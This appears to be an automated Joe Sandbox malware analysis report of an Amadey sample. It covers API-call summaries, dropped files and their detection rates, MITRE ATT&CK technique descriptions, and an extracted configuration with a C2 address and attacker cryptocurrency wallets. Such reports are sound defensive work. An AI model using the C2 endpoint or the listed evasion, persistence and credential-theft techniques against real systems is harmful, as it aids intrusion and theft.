GetFullPathNameW.KERNEL32(?,?,00000000,00000000,010BE9E2,00000000,?,010C370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 010BE893
GetLastError.KERNEL32(?,010C370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,010BE9E2,00000000,00000104,?), ref: 010BE89D
__dosmaperr.LIBCMT ref: 010BE8A4

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 432f8992eeadb08db929201ba7f206005e2ccfa0853a2f75b81f0538d106907d
Instruction ID: da6ec2370f07c2431e7295487884c33de95fa4162b1798ed97a957e284bb2c9f
Opcode Fuzzy Hash: 432f8992eeadb08db929201ba7f206005e2ccfa0853a2f75b81f0538d106907d
Instruction Fuzzy Hash: 56F08132600516BF9B201FA6DC888DABFAAFF542A03044961F99DC6110C732E860CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 010BE8E6 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,010BE9E2,00000000,?,010C3695,00000000,00000000,010BE9E2,?,?,00000000,00000000,00000001), ref: 010BE8FC
GetLastError.KERNEL32(?,010C3695,00000000,00000000,010BE9E2,?,?,00000000,00000000,00000001,00000000,00000000,?,010BE9E2,00000000,00000104), ref: 010BE906
__dosmaperr.LIBCMT ref: 010BE90D

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: c9e18eb0d5d3b7ed1a821f20d59fee66289a96da7b87aa973c132e7b4a873f69
Instruction ID: 86936602a1237a7411a238203728e9d1335ff4e1347f358c47538836912f1cc1
Opcode Fuzzy Hash: c9e18eb0d5d3b7ed1a821f20d59fee66289a96da7b87aa973c132e7b4a873f69
Instruction Fuzzy Hash: 97F08C32200116BF8B701FA6C8889DAFFAAFF842A03044514FA9CC6110CB31E862CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 010C638F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(010A5140,0000000F,010D68F8,00000000,010A5140,?,010C5AA7,010A5140,00000001,010A5140,010A5140,?,010C2ECD,00000000,?,010A5140), ref: 010C63A6
GetLastError.KERNEL32(?,010C5AA7,010A5140,00000001,010A5140,010A5140,?,010C2ECD,00000000,?,010A5140,00000000,010A5140,?,010C3421,010A5140), ref: 010C63B2

Part of subcall function 010C6378: CloseHandle.KERNEL32(FFFFFFFE,010C63C2,?,010C5AA7,010A5140,00000001,010A5140,010A5140,?,010C2ECD,00000000,?,010A5140,00000000,010A5140), ref: 010C6388

___initconout.LIBCMT ref: 010C63C2

Part of subcall function 010C633A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,010C6369,010C5A94,010A5140,?,010C2ECD,00000000,?,010A5140,00000000), ref: 010C634D

WriteConsoleW.KERNEL32(010A5140,0000000F,010D68F8,00000000,?,010C5AA7,010A5140,00000001,010A5140,010A5140,?,010C2ECD,00000000,?,010A5140,00000000), ref: 010C63D7

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fd8a0b7f683fa17572d686cce490fd0120e4a7df2e9abda474a6e249786521fe
Instruction ID: 2dc28792d4a387f0f0e7a70cf55aa9c1a22f19769a6fe197f09b64c8760b7c21
Opcode Fuzzy Hash: fd8a0b7f683fa17572d686cce490fd0120e4a7df2e9abda474a6e249786521fe
Instruction Fuzzy Hash: A9F01C36401265BBCF721F95EC08A8D3F6AFB097A1B148014FE9895220C6378960DF91

Uniqueness

Uniqueness Score: -1.00%

Function 010B71BA Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,010B7157,00000064), ref: 010B71DD
LeaveCriticalSection.KERNEL32(010D9708,000000FF,?,010B7157,00000064,?,?,?,010A3E30,010DC468,C73353B8,?,00000000,010C8818,000000FF), ref: 010B71E7
WaitForSingleObjectEx.KERNEL32(000000FF,00000000,?,010B7157,00000064,?,?,?,010A3E30,010DC468,C73353B8,?,00000000,010C8818,000000FF), ref: 010B71F8
EnterCriticalSection.KERNEL32(010D9708,?,010B7157,00000064,?,?,?,010A3E30,010DC468,C73353B8,?,00000000,010C8818,000000FF), ref: 010B71FF

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 81352007eb94421989410afe8a3bb33e65ff025bdd94a0bd65ce355f238c7dc6
Instruction ID: 581986280d3fcaee8af8fe1b44d0ebdc7bd24e402a60deb26b44112ab1155653
Opcode Fuzzy Hash: 81352007eb94421989410afe8a3bb33e65ff025bdd94a0bd65ce355f238c7dc6
Instruction Fuzzy Hash: 66E01A32641224AFCA221F95EC49ACD3E69FB48A66B020010FEC966154CB6B69109FE5

Uniqueness

Uniqueness Score: -1.00%

Function 010BBF2A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 010BBF6D, 010BBF74, 010BBFAA

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-2143882575
Opcode ID: 8096c2cb603f3a135269b42e4777f10cdf7fbce4c08b3f3b65bcf5e97a873a24
Instruction ID: 1b5366fb931668b5063f5589b3fa854662dca6ba8b1daa2f5cbc3bf0a774bc16
Opcode Fuzzy Hash: 8096c2cb603f3a135269b42e4777f10cdf7fbce4c08b3f3b65bcf5e97a873a24
Instruction Fuzzy Hash: BA41B771E00219AFDB21DF9DD9C09EEBBF8EF95714F1000AAF584D7200D6718A40CB94

Uniqueness

Uniqueness Score: -1.00%

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	ReversingLabs: Detection: 80%

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Joe Sandbox ML: detected

Source: 28.0.mnolyk.exe.70000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}
Source: 27.2.rundll32.exe.6fb90000.0.unpack	Malware Configuration Extractor: Amadey {"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A32F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,		0_2_00A32F1D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe	Code function: 1_2_00F82F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,		1_2_00F82F1D

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Amadey

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\arJf.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\brJg.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\arJf.exe

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Windows Analysis Report
file.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre